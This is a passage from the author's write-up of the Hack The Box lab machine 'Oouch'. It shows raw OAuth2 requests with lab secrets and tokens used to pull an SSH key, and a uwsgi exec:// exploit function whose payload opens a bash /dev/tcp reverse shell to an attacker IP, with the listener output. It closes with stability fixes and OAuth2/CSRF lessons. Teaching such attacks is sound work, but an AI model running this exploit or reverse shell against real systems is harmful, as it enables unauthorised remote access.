different<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>flow to obtain an<span>\u00a0<\/span><em>access_token<\/em>. The<span>\u00a0<\/span><em>client_credentials<span>\u00a0<\/span><\/em>flow is for situations, where the consumer application is able to logon on the authorization server as the user. This can either be done by using the users credentials directly or by using his sessionid. Instead of registering an application for the<span>\u00a0<\/span><em>authroization_code<span>\u00a0<\/span><\/em>flow (as it was demonstrated above) we can now register for the<span>\u00a0<\/span><em>client_credentials<span>\u00a0<\/span><\/em>flow and use a slightly different<span>\u00a0<\/span><em>API<span>\u00a0<\/span><\/em>call:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">POST<\/span><span class=\"enlighter-text\"> \/oauth\/token\/ <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: *\/*<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connection<\/span><span class=\"enlighter-text\">: keep-alive<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">223<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/x-www-form-urlencoded<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">client_id=<\/span><span class=\"enlighter-k0\">PRheLSmP5KhDb54AwAUoVUriRM1TwxnaUP4Tba95<\/span><span class=\"enlighter-text\">&amp;client_secret=a4839uLDGtTH28zUeZDh6oDaHlTz8NBi2TgxjLN2OStKk1pGD89h5moqeoEKS9wdarh5QBn5nzV25RuLqgVNhH9iuvZwyOgc8g7VV4fooMaLObgna6nnsMwEiAQAT8lA&amp;grant_type=client_credentials<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>The servers response will again contain an<span>\u00a0<\/span><code>access_token<\/code>, but this one can only be used in combination with valid<span>\u00a0<\/span><code>client_credentials<\/code>.<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">OK<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/json<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Cache<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Control<\/span><span class=\"enlighter-text\">: no-store<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Pragma<\/span><span class=\"enlighter-text\">: no-cache<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">116<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-c0\">\"access_token\": \"Geptn6LLm2nyFZo4ERhi8fp34HOG0f\", \"expires_in\": 600, \"token_type\": \"Bearer\", \"scope\": \"read write\"}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Together with the cookie of<span>\u00a0<\/span><em>qtc<\/em>, it is again possible to obtain his<span>\u00a0<\/span><em>ssh<span>\u00a0<\/span><\/em>key:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">GET<\/span><span class=\"enlighter-text\"> \/api\/get_ssh <\/span><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Host<\/span><span class=\"enlighter-text\">: authorization.oouch.htb:<\/span><span class=\"enlighter-n1\">8000<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">User<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Agent<\/span><span class=\"enlighter-text\">: python-requests\/2.20.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Encoding<\/span><span class=\"enlighter-text\">: gzip, deflate<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Accept<\/span><span class=\"enlighter-text\">: *\/*<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Connection<\/span><span class=\"enlighter-text\">: keep-alive<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: application\/x-www-form-urlencoded<\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Bearer<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">Geptn6LLm2nyFZo4ERhi8fp34HOG0f<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"enlighter-special\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Cookie<\/span><span class=\"enlighter-text\">: sessionid=hqbmi2qaqf3y8wlodshthr782o7uy0bi;<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Server Response:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">HTTP<\/span><span class=\"enlighter-text\">\/1.<\/span><span class=\"enlighter-n1\">1<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-n1\">200<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-k0\">OK<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Type<\/span><span class=\"enlighter-text\">: text\/html; charset=utf-<\/span><span class=\"enlighter-n1\">8<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">X<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Frame<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Options<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">SAMEORIGIN<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Content<\/span><span class=\"enlighter-text\">-<\/span><span class=\"enlighter-k0\">Length<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">2708<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k0\">Vary<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-k0\">Authorization<\/span><span class=\"enlighter-text\">, <\/span><span class=\"enlighter-k0\">Cookie<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-c0\">\"ssh_server\": \"consumer.oouch.htb\", \"ssh_user\": \"qtc\", \"ssh_key\": \"[...]\"}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As already said, this is only a minor shortcut. Unfortunately it makes the box more unrealisitic and<span>\u00a0<\/span><em>CTF<span>\u00a0<\/span><\/em>like, as this is not the way a<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attack would look like in practice.<\/p>\n<h3 id=\"odd-uwsgi\">5.2 \u2013 Odd UWSGI Functionalities<\/h3>\n<p>When I was building the privilege escalation for<span>\u00a0<\/span><em>Oouch<\/em>, I was really happy with the<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>method and thought it will be a cool challenge. However, I did not expect that<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>allows command execution per default for each user that is able to connect to it directly.<\/p>\n<p>The technique that can be used to achieve this is described in<span>\u00a0<\/span><a href=\"https:\/\/github.com\/wofeiwo\/webcgi-exploits\/blob\/master\/python\/uwsgi-rce-zh.md\" title=\"https:\/\/github.com\/wofeiwo\/webcgi-exploits\/blob\/master\/python\/uwsgi-rce-zh.md\" target=\"_blank\" rel=\"noreferrer noopener\">this article<\/a>. Essentially,<span>\u00a0<\/span><em>uwsgi<span>\u00a0<\/span><\/em>supports an additional parameter called<span>\u00a0<\/span><code>UWSGI_FILE<\/code>. This can be used to dynamically load a different python app. As if that isn\u2019t bad enough, the parameter can contain different protocol wrappers. One of them is the<span>\u00a0<\/span><code>exec:\/\/<\/code><span>\u00a0<\/span>wrapper, that allows you command execution right away.<\/p>\n<p>The most straight forward way to exploit this issue is probably using the python script from the<span>\u00a0<\/span><em>GitHub<span>\u00a0<\/span><\/em>repository mentioned above. However, it is also possible to simply adopt our previous exploit to this new situation. The exploit function would look like this:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-k0\">def<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">exploit<\/span><span class=\"enlighter-g1\">()<\/span><span class=\"enlighter-text\">:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s5\">'''<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Final exploit function. Simply defines the necessary uwsgi parameters and inserts our malicious payload.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Parameters:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> csrf_token (String) Since the exploit uses the contact form, we need a valid CSRF Token.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> session_id (String) The contact form can only be used by authenticated users.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> payload (String) This is the command that is executed.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> Returns:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> None<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-s5\"> '''<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> body = <\/span><span class=\"enlighter-s0\">''<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var = <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'SERVER_PROTOCOL'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'HTTP\/1.1'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'PATH_INFO'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'\/login'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'REQUEST_METHOD'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'GET'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'REQUEST_URI'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'\/login'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'HTTP_HOST'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'consumer.oouch.htb:5000'<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'UWSGI_FILE'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">'exec:\/\/bash -c \"bash &amp;&gt; \/dev\/tcp\/10.10.14.37\/4444 0&lt;&amp;1\"; echo test'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">'SCRIPT_NAME'<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-s0\">\"\/login\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'SERVER_NAME'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">'consumer.oouch.htb'<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> var<\/span><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-s0\">'SERVER_PORT'<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\"> = <\/span><span class=\"enlighter-s0\">\"5000\"<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> result = <\/span><span class=\"enlighter-m0\">send_to_uwsgi<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">addr=<\/span><span class=\"enlighter-s0\">'\/tmp\/uwsgi.socket'<\/span><span class=\"enlighter-text\">, var=var, body=body<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">print<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">result<\/span><span class=\"enlighter-g1\">)<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>Using this modified exploit, we can obtaina shell as<span>\u00a0<\/span><code>www-data<\/code>:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-g1\">[<\/span><span class=\"enlighter-text\">pentester@kali www<\/span><span class=\"enlighter-g1\">]<\/span><span class=\"enlighter-text\">$ nc -vlp <\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Version 7.<\/span><span class=\"enlighter-n1\">80<\/span><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\"> https:\/\/nmap.org\/ncat <\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> :::<\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Listening <\/span><span class=\"enlighter-k9\">on<\/span><span class=\"enlighter-text\"> 0.0.0.<\/span><span class=\"enlighter-n1\">0<\/span><span class=\"enlighter-text\">:<\/span><span class=\"enlighter-n1\">4444<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.177.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">Ncat: Connection from 10.10.10.<\/span><span class=\"enlighter-n1\">177<\/span><span class=\"enlighter-text\">:36552.<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">id<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\">uid=<\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">www-data<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> gid=<\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">www-data<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"> groups=<\/span><span class=\"enlighter-n1\">33<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">www-data<\/span><span class=\"enlighter-g1\">)<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>As the user<span>\u00a0<\/span><code>www-data<\/code><span>\u00a0<\/span>we are now allowed to access the<span>\u00a0<\/span><em>Dbus<span>\u00a0<\/span><\/em>interface directly and do no longer need to use<span>\u00a0<\/span><em>uwsgi<\/em>. This makes the privesc really simple, as the<span>\u00a0<\/span><em>Dbus<span>\u00a0<\/span><\/em>code can already be found inside the<span>\u00a0<\/span><em>Flask<span>\u00a0<\/span><\/em>application and the corresponding Python libraries are already installed.<\/p>\n<h2 id=\"lessons-learned\">6.0 \u2013 Lessons Learned<\/h2>\n<p>At its release,<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>was pretty instable and I\u2019m really sorry for this. So far I tracked down two reasons for the stability issues and one of them was relatively quickly patched by<span>\u00a0<\/span><em>HTB<\/em>. The other one is still present and I expect that there are also some more issues, as the application still throws a<span>\u00a0<\/span><code>500 Internal Server Error<\/code><span>\u00a0<\/span>from time to time. In this section I want quickly explain the two issues I could track down.<\/p>\n<h3 id=\"errors-everywhere\">6.1 \u2013 500 Everywhere<\/h3>\n<p>After its release, the consumer application of<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>was basically unusable. About each second request lead to a<span>\u00a0<\/span><code>500 Internal Server Error<\/code>. As mentioned above, this still happens from time to time, but I was able to improve the situation quite a lot by adopting the<span>\u00a0<\/span><em>Flask<\/em>\u2013<em>MySQL<span>\u00a0<\/span><\/em>interaction.<\/p>\n<p>From my understanding, the problem was the following:<span>\u00a0<\/span><em>Flask<span>\u00a0<\/span><\/em>uses in its default configuration a static connection to the<span>\u00a0<\/span><em>SQL<span>\u00a0<\/span><\/em>server. This connection is established once, and all queries are then made using the already established connection. This is of course smart to prevent overhead, but on<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>the<span>\u00a0<\/span><em>MySQL<span>\u00a0<\/span><\/em>connection timed out pretty quickly.<span>\u00a0<\/span><em>Flask<span>\u00a0<\/span><\/em>was then simply running the SQL query on a timed out connection, which lead to an exception and a<span>\u00a0<\/span><em>500 Internal Serrver Error<\/em>. After some trial and error, I found that the following config worked pretty well:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-text\">SQLALCHEMY_ENGINE_OPTIONS = <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"pool_pre_ping\"<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-e0\">True<\/span><span class=\"enlighter-text\">,<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-s0\">\"pool_recycle\"<\/span><span class=\"enlighter-text\">: <\/span><span class=\"enlighter-n1\">300<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-g1\">}<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>This should enforce<span>\u00a0<\/span><em>Flask<\/em><span>\u00a0<\/span>to check if the<span>\u00a0<\/span><em>MySQL<span>\u00a0<\/span><\/em>connection is still active before using it.<\/p>\n<h3 id=\"not-so-fast\">6.2 \u2013 Not so Fast<\/h3>\n<p>One issue that is still present in<span>\u00a0<\/span><em>Oouch<span>\u00a0<\/span><\/em>is the unreliable<span>\u00a0<\/span><em>CSRF<\/em>. Many users complained about this issue, but I was only recently able to resolve it. Lets look at the python snipped that simulates the client requests:<\/p>\n<div class=\"enlighter-default enlighter-v-standard enlighter-t-beyond enlighter-hover enlighter-linenumbers enlighter-overflow-scroll \">\n<div class=\"enlighter\">\n<div class=\"\">\n<div><span class=\"enlighter-c0\"># Uknown urls need no cookie<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> other:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">visit_them<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">other, <\/span><span class=\"enlighter-g1\">{}<\/span><span class=\"enlighter-text\">, timeout=<\/span><span class=\"enlighter-n0\">0.1<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-c0\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-c0\"># Consumer urls need a consumer cookie<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"><\/span><span class=\"enlighter-k1\">if<\/span><span class=\"enlighter-text\"> consumer_urls:<\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> consumer_cookie = <\/span><span class=\"enlighter-m0\">login_consumer<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-s0\">'qtc'<\/span><span class=\"enlighter-text\">, f<\/span><span class=\"enlighter-s0\">'{password}'<\/span><span class=\"enlighter-g1\">)<\/span><span class=\"enlighter-text\"><\/span><\/div>\n<\/div>\n<div class=\"\">\n<div><span class=\"enlighter-text\"> <\/span><span class=\"enlighter-m0\">visit_them<\/span><span class=\"enlighter-g1\">(<\/span><span class=\"enlighter-text\">consumer_urls, <\/span><span class=\"enlighter-g1\">{<\/span><span class=\"enlighter-s0\">'session'<\/span><span class=\"enlighter-text\"> : consumer_cookie<\/span><span class=\"enlighter-g1\">}<\/span><span class=\"enlighter-text\">, timeout=<\/span><span class=\"enlighter-n0\">0.1<\/span><span class=\"enlighter-g1\">)<\/span><\/div>\n<\/div>\n<\/div>\n<\/div>\n<p>When building the machine I feared that users may run scanners on the contact point that fill the request queue with non existing and not reachable hosts. Therefore, I decided to use a tiny connection timeout of<span>\u00a0<\/span><code>0.1<\/code><span>\u00a0<\/span>seconds. For the<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>attacks on the consumer and unknown<span>\u00a0<\/span><em>URLs<\/em>, the servers response does not matter and I expected a minimal timeout to be fine.<\/p>\n<p>What I did not know is some odd behavior of the<span>\u00a0<\/span><code>requests<\/code><span>\u00a0<\/span>module. My expectation was, that with any<span>\u00a0<\/span><code>timeout<\/code><span>\u00a0<\/span>value, the request will always be send. However, this is not true. If the request was not sent before the timeout runs out (e.g. due to network congestion), it is not send at all.<\/p>\n<p>This caught me on the wrong foot and made the<span>\u00a0<\/span><em>CSRF<\/em><span>\u00a0<\/span>portion of the machine pretty unreliable. Furthermore, debugging this issue was frustrating, as on a local network the<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>requests always succeed in<span>\u00a0<\/span><code>0.1<\/code><span>\u00a0<\/span>seconds. Therefore, this issue is only reproducible on slow connections.<\/p>\n<p>Sorry for everyone who wasted their time with waiting for<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>responses.<\/p>\n<h2 id=\"conclusion\">7.0 \u2013 Conclusion<\/h2>\n<p>The<em><span>\u00a0<\/span>Oouch<span>\u00a0<\/span><\/em>machine demonstrates the devastating consequences of an insecure<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>implementation. Of course, in the real world it is unlikely that exploiting such vulnerabilities provides you<span>\u00a0<\/span><em>SSH<span>\u00a0<\/span><\/em>access to a server, but account takeover and the exposure of sensitive user information are realistic scenarios.<span>\u00a0<\/span><em>CSRF<span>\u00a0<\/span><\/em>vulnerabilities are often underestimated (even by security professionals). In the context of<span>\u00a0<\/span><em>OAuth2<\/em>, they should be considered as critical security risks since both, the account takeover as well as the exposure of sensitive data, can be exploited without being noticed by the targeted user.<\/p>\n<p>I hope that this practical exercise will help application developers and security professionals to understand attack surface on the<span>\u00a0<\/span><em>OAuth2<span>\u00a0<\/span><\/em>protocol and lead to an improvement of application security.<\/p>\n<p>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]<\/p>\n","protected":false},"excerpt":{"rendered":"<p>At the beginning of the year\u00a0Hack The Box\u00a0released\u00a0Oouch, a vulnerable machine created by usd HeroLab 